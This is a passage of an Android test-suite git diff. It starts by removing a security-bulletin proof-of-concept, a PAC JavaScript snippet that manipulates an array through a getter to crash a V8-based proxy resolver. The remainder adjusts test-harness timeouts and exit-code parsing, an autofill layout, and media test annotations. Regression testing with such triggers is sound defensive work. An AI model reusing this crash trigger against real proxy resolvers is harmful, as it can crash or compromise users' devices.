- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <memory>
-#include <proxy_resolver_v8_wrapper.h>
-
-#define URL u""
-#define HOST u""
-#define SCRIPT \
- u"function FindProxyForURL(url, host){\n" \
- " alert(\"enter\");\n" \
- " let arr = [];\n" \
- " arr[1000] = 0x1234;\n" \
- "\n" \
- " arr.__defineGetter__(256, function () {\n" \
- " delete arr[256];\n" \
- " arr.unshift(1.1);\n" \
- " arr.length = 0;\n" \
- " });\n" \
- "\n" \
- " Object.entries(arr).toString();\n" \
- " alert(JSON.stringify(entries));\n" \
- "\n" \
- " return 0;\n" \
- "}\n"
-
-int main(void) {
- auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
- ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
- ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
- auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
- resolver.get(), URL, HOST), &free);
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index e91e8f0..dd2a5e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -20,6 +20,7 @@
import com.android.ddmlib.NullOutputReceiver;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.log.LogUtil.CLog;
import java.io.BufferedOutputStream;
@@ -27,6 +28,7 @@
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
+import java.util.concurrent.TimeoutException;
import java.util.List;
import java.util.regex.Pattern;
import java.util.concurrent.TimeUnit;
@@ -198,9 +200,17 @@
* Utility function to help check the exit code of a shell command
*/
public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
- return Integer.parseInt(
- AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
- device).replaceAll("[^0-9]", ""));
+ long time = System.currentTimeMillis();
+ String exitStatus = runCommandLine(
+ "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+ time = System.currentTimeMillis() - time;
+ try {
+ return Integer.parseInt(exitStatus);
+ } catch (NumberFormatException e) {
+ throw new IllegalArgumentException(String.format(
+ "Could not get the exit status (%s) for '%s' (%d ms).",
+ exitStatus, cmd, time));
+ }
}
/**
@@ -230,11 +240,18 @@
throws Exception {
device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
- receiver, timeout, TimeUnit.SECONDS, 0);
-
- String exitStatus = receiver.getOutput().replaceAll("[^0-9]", "");
- return Integer.parseInt(exitStatus);
+ String cmd = "/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?";
+ long time = System.currentTimeMillis();
+ device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
+ time = System.currentTimeMillis() - time;
+ String exitStatus = receiver.getOutput().trim();
+ try {
+ return Integer.parseInt(exitStatus);
+ } catch (NumberFormatException e) {
+ throw new IllegalArgumentException(String.format(
+ "Could not get the exit status (%s) for '%s' (%d ms).",
+ exitStatus, cmd, time));
+ }
}
/**
@@ -268,8 +285,7 @@
public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
String... processPatternStrings) throws Exception {
AdbUtils.runCommandLine("logcat -c", device);
- // account for the poc timer of 5 minutes (+15 seconds for safety)
- AdbUtils.runPocNoOutput(pocName, device, 315);
+ AdbUtils.runPocNoOutput(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
assertNoCrashes(device, processPatternStrings);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index d866a5a..d8df1c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -37,6 +37,6 @@
*/
@SecurityTest(minPatchLevel = "2016-05")
public void testPocCVE_2015_1805() throws Exception {
- AdbUtils.runPoc("CVE-2015-1805", getDevice(), 300);
+ AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 179b0cb..f61e843 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -27,7 +27,7 @@
@SecurityTest(minPatchLevel = "2017-03")
public void testPocCVE_2016_8479() throws Exception {
if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+ AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
// CTS begins the next test before device finishes rebooting,
// sleep to allow time for device to reboot.
Thread.sleep(70000);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 131b580..fed0ab5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
@SecurityTest(minPatchLevel = "2017-12")
public void testPocCVE_2017_6262() throws Exception {
if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
- AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+ AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 0423b37..dfc3de0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -42,7 +42,7 @@
*/
@SecurityTest
public void testPocCVE_2018_9490() throws Exception {
- int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+ int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
assertTrue(code != 139); // 128 + signal 11
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
index 2007914..07257fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -34,11 +34,11 @@
}
/**
- * b/138442295
+ * b/139806216
*/
@SecurityTest(minPatchLevel = "2019-11")
- public void testPocBug_138442295() throws Exception {
- int code = AdbUtils.runProxyAutoConfig("bug_138442295", getDevice());
- assertTrue(code != 139); // 128 + signal 11
+ public void testPocBug_139806216() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+ assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0939627..ee38deb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -33,6 +33,10 @@
private static final String LOG_TAG = "SecurityTestCase";
private static final int RADIX_HEX = 16;
+ protected static final int TIMEOUT_DEFAULT = 60;
+ // account for the poc timer of 5 minutes (+15 seconds for safety)
+ protected static final int TIMEOUT_NONDETERMINISTIC = 315;
+
private long kernelStartTime;
private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 3e1f801..40b434b 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 773afae..166e73c 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -17,28 +17,40 @@
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/parent"
- android:orientation="horizontal"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
+ android:orientation="vertical"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent" >
- <TextView android:id="@+id/static_text"
- android:paddingEnd="16dp"
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <TextView android:id="@+id/first"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/second"
+ android:layout_weight="1"
+ android:layout_width="0dp"
+ android:layout_height="match_parent"/>
+ </LinearLayout>
+
+ <LinearLayout
android:layout_width="wrap_content"
- android:layout_height="match_parent"
- android:text="YO:"/>
+ android:layout_height="fill_parent">
- <TextView android:id="@+id/first"
- android:paddingEnd="16dp"
- android:layout_width="wrap_content"
- android:layout_height="match_parent"/>
+ <ImageView android:id="@+id/img"
+ android:paddingStart="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+ </LinearLayout>
- <TextView android:id="@+id/second"
- android:layout_weight="1"
- android:layout_width="0dp"
- android:layout_height="match_parent"/>
-
- <ImageView android:id="@+id/img"
- android:paddingStart="16dp"
- android:layout_width="wrap_content"
- android:layout_height="match_parent"/>
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 0dbfc73..64dee4d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2397,6 +2397,9 @@
assertTextAndValue(passwordNode, password);
waitUntilDisconnected();
+
+ // Wait and check if the save window is correctly hidden.
+ mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
} catch (RetryableException e) {
throw new RetryableException(e, "on step %d", i);
} catch (Throwable t) {
diff --git a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
index 9272d58..e24339f 100644
--- a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
@@ -24,6 +24,7 @@
import android.provider.Settings;
import android.test.AndroidTestCase;
+@NonMediaMainlineTest
public class AsyncPlayerTest extends AndroidTestCase {
public void testAsyncPlayer() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 0666efe..186f322 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -22,6 +22,7 @@
import com.android.compatibility.common.util.CtsAndroidTestCase;
+@NonMediaMainlineTest
public class AudioAttributesTest extends CtsAndroidTestCase {
// -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
index f156ada..58083d0 100644
--- a/tests/tests/media/src/android/media/cts/AudioFocusTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
@@ -28,6 +28,7 @@
import com.android.compatibility.common.util.CtsAndroidTestCase;
+@NonMediaMainlineTest
public class AudioFocusTest extends CtsAndroidTestCase {
private static final String TAG = "AudioFocusTest";
@@ -353,4 +354,4 @@
}
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index 221dcfa..4149d39 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -21,6 +21,7 @@
import com.android.compatibility.common.util.CtsAndroidTestCase;
+@NonMediaMainlineTest
public class AudioFormatTest extends CtsAndroidTestCase {
// -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index cd09f08..e8669ed 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -60,8 +60,6 @@
import android.util.Log;
import android.view.SoundEffectConstants;
-import androidx.test.filters.FlakyTest;
-
import com.android.compatibility.common.util.CddTest;
import com.android.internal.annotations.GuardedBy;
@@ -69,6 +67,7 @@
import java.util.List;
import java.util.Map;
+@NonMediaMainlineTest
public class AudioManagerTest extends InstrumentationTestCase {
private final static String TAG = "AudioManagerTest";
@@ -1365,13 +1364,6 @@
}
}
- // See b/142395610 - This test isn't flaky but when run in test-mapping it
- // fails on AOSP branches. There is some kind of state that CtsAppTestCases
- // leaves the system in that causes this test to fail consistently.
- // CtsMediaTestCases by itself in test-mapping passes.
- // Disabling via Flaky to prevent this running and breaking
- // greenness tracking for Droidcop until we can root-cause the dependency.
- @FlakyTest
public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
final String NOTIFICATION_CHANNEL_ID = "test_id";
if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
diff --git a/tests/tests/media/src/android/media/cts/AudioNativeTest.java b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
index 8e216e1..0f1ba92 100644
--- a/tests/tests/media/src/android/media/cts/AudioNativeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
@@ -28,6 +28,7 @@
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.CtsAndroidTestCase;
+@NonMediaMainlineTest
public class AudioNativeTest extends CtsAndroidTestCase {
public static final int MAX_CHANNEL_COUNT = 2;
public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index 4c234ce..c2c2a34 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -68,6 +68,7 @@
* Currently the test that some audio was recorded just check that at least one sample is non 0.
* A better check needs to be used, eg: compare the power spectrum.
*/
+@NonMediaMainlineTest
public class AudioPlaybackCaptureTest {
private static final String TAG = "AudioPlaybackCaptureTest";
private static final int SAMPLE_RATE = 44100;
diff --git a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
index 2e900ad..de36d2b 100644
--- a/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPresentationTest.java
@@ -28,6 +28,7 @@
import java.util.Locale;
import java.util.Map;
+@NonMediaMainlineTest
public class AudioPresentationTest extends CtsAndroidTestCase {
private String TAG = "AudioPresentationTest";
private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 6ead39e..5509682 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -46,6 +46,7 @@
/**
* Tests for media framework behaviors related to app ops.
*/
+@NonMediaMainlineTest
@RunWith(AndroidJUnit4.class)
public class AudioRecordAppOpTest {
private static final long APP_OP_CHANGE_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(2);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 90a5a3f..6ea560a 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -67,6 +67,7 @@
import java.util.List;
+@NonMediaMainlineTest
@RunWith(AndroidJUnit4.class)
public class AudioRecordTest {
private final static String TAG = "AudioRecordTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
index 665bfa1..600bf8c 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
@@ -28,6 +28,7 @@
import java.util.ArrayList;
import java.util.List;
+@NonMediaMainlineTest
public class AudioRecord_BufferSizeTest extends AndroidTestCase {
private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index f5eeaf1..801f29d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -39,6 +39,7 @@
import java.util.Iterator;
import java.util.List;
+@NonMediaMainlineTest
public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
private static final String TAG = "AudioRecordingConfigurationTest";
@@ -221,6 +222,7 @@
}
}
+ @NonMediaMainlineTest
public void testParcel() throws Exception {
if (!hasMicrophone()) {
return;
diff --git a/tests/tests/media/src/android/media/cts/AudioSystemTest.java b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
index 88ac120..d607d1f 100644
--- a/tests/tests/media/src/android/media/cts/AudioSystemTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
@@ -34,6 +34,7 @@
* Java applications should use the client facing AudioManager APIs for Audio management.
*/
+@NonMediaMainlineTest
@RunWith(AndroidJUnit4.class)
@SmallTest
@AppModeFull(reason = "Instant applications do not have permission MODIFY_AUDIO_SETTINGS")
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
index 5b89ce0..f3ad83d 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
@@ -49,6 +49,7 @@
// Warns if not. This can happen if there is no Fast Mixer or if a FastTrack
// is not available.
+@NonMediaMainlineTest
@AppModeFull(reason = "The APIs would either work correctly or not at all for instant apps")
public class AudioTrackLatencyTest extends CtsAndroidTestCase {
private String TAG = "AudioTrackLatencyTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index aa0d50b..fe1b62b 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -31,6 +31,7 @@
import java.io.InputStream;
import java.util.concurrent.Executor;
+@NonMediaMainlineTest
public class AudioTrackOffloadTest extends CtsAndroidTestCase {
private static final String TAG = "AudioTrackOffloadTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index 9de3bd2..96dd840 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -42,6 +42,7 @@
// a few seconds of audio. The playback is verified by measuring the output
// sample rate based on the AudioTimestamps.
+@NonMediaMainlineTest
public class AudioTrackSurroundTest extends CtsAndroidTestCase {
private static final String TAG = "AudioTrackSurroundTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index fa20770..4ab16ff 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -52,6 +52,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+@NonMediaMainlineTest
@RunWith(AndroidJUnit4.class)
public class AudioTrackTest {
private String TAG = "AudioTrackTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
index 04666f4..89f42b0 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
@@ -31,6 +31,7 @@
import java.util.ArrayList;
+@NonMediaMainlineTest
public class AudioTrack_ListenerTest extends CtsAndroidTestCase {
private final static String TAG = "AudioTrack_ListenerTest";
private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/BassBoostTest.java b/tests/tests/media/src/android/media/cts/BassBoostTest.java
index 2004cf8..5055a2a 100644
--- a/tests/tests/media/src/android/media/cts/BassBoostTest.java
+++ b/tests/tests/media/src/android/media/cts/BassBoostTest.java
@@ -24,6 +24,7 @@
import android.test.AndroidTestCase;
import android.util.Log;
+@NonMediaMainlineTest
public class BassBoostTest extends PostProcTestBase {
private String TAG = "BassBoostTest";
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
index 6abf63d..d0cfde7 100644
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
@@ -28,6 +28,7 @@
import java.util.Arrays;
import java.util.List;
+@NonMediaMainlineTest
public class CamcorderProfileTest extends AndroidTestCase {
private static final String TAG = "CamcorderProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/CameraProfileTest.java b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
index 62228c6..9949c73 100644
--- a/tests/tests/media/src/android/media/cts/CameraProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
@@ -24,6 +24,7 @@
import java.util.List;
+@NonMediaMainlineTest
public class CameraProfileTest extends AndroidTestCase {
private static final String TAG = "CameraProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
index 1d84a3e..5872bef 100644
--- a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
+++ b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
@@ -33,6 +33,7 @@
/**
* TODO: Insert description here. (generated by pmclean)
*/
+@NonMediaMainlineTest
public class EnumDevicesTest extends AndroidTestCase {
private static final String TAG = "EnumDevicesTest";
diff --git a/tests/tests/media/src/android/media/cts/EnvReverbTest.java b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
index 14cad71..10d9bb9 100644
--- a/tests/tests/media/src/android/media/cts/EnvReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
@@ -25,6 +25,7 @@
import android.test.AndroidTestCase;
import android.util.Log;
+@NonMediaMainlineTest
@AppModeFull(reason = "Fails in instant mode")
public class EnvReverbTest extends PostProcTestBase {
@@ -553,4 +554,4 @@
mReverb2 = null;
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index 7c405a5..38b5889 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -24,6 +24,7 @@
import android.test.AndroidTestCase;
import android.util.Log;
+@NonMediaMainlineTest
public class EqualizerTest extends PostProcTestBase {
private String TAG = "EqualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index d25c76a..467bc9d 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -41,6 +41,7 @@
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
+@NonMediaMainlineTest
@AppModeFull(reason = "Instant apps cannot access the SD card")
public class ExifInterfaceTest extends AndroidTestCase {
private static final String TAG = ExifInterface.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
index 4df0475..94e4e37 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
@@ -25,6 +25,7 @@
import android.media.FaceDetector.Face;
import android.test.InstrumentationTestCase;
+@NonMediaMainlineTest
public class FaceDetectorTest extends InstrumentationTestCase {
private FaceDetectorStub mActivity;
diff --git a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
index 9dc06ec2..7b50040 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
@@ -27,6 +27,7 @@
import java.util.List;
+@NonMediaMainlineTest
public class FaceDetector_FaceTest extends InstrumentationTestCase {
private FaceDetectorStub mActivity;
diff --git a/tests/tests/media/src/android/media/cts/JetPlayerTest.java b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
index 9d01073..112d5a5 100644
--- a/tests/tests/media/src/android/media/cts/JetPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
@@ -34,6 +34,7 @@
import java.io.InputStream;
import java.io.OutputStream;
+@NonMediaMainlineTest
public class JetPlayerTest extends AndroidTestCase {
private OnJetEventListener mOnJetEventListener;
private boolean mOnJetUserIdUpdateCalled;
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index d57c612..300a593 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -48,6 +48,7 @@
/**
* Test media activity which has called {@link Activity#setMediaController}.
*/
+@NonMediaMainlineTest
@MediumTest
@RunWith(AndroidJUnit4.class)
public class MediaActivityTest {
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index 091151c..e7ef364 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
@@ -32,6 +32,7 @@
/**
* Test {@link android.service.media.MediaBrowserService}.
*/
+@NonMediaMainlineTest
public class MediaBrowserServiceTest extends InstrumentationTestCase {
// The maximum time to wait for an operation.
private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index c401c75..8c7d63d 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -29,6 +29,7 @@
/**
* Test {@link android.media.browse.MediaBrowser}.
*/
+@NonMediaMainlineTest
public class MediaBrowserTest extends InstrumentationTestCase {
// The maximum time to wait for an operation.
private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 363928a..d6beefe 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -39,6 +39,7 @@
/**
* Test {@link android.media.session.MediaController}.
*/
+@NonMediaMainlineTest
public class MediaControllerTest extends AndroidTestCase {
// The maximum time to wait for an operation.
private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index dc12b97..53217ca 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -23,6 +23,7 @@
/**
* Test {@link android.media.browse.MediaBrowser.MediaItem}.
*/
+@NonMediaMainlineTest
public class MediaItemTest extends AndroidTestCase {
private static final String DESCRIPTION = "test_description";
private static final String MEDIA_ID = "test_media_id";
@@ -74,4 +75,4 @@
MediaDescription.CREATOR.createFromParcel(p).toString());
p.recycle();
}
-}
\ No newline at end of file
+}
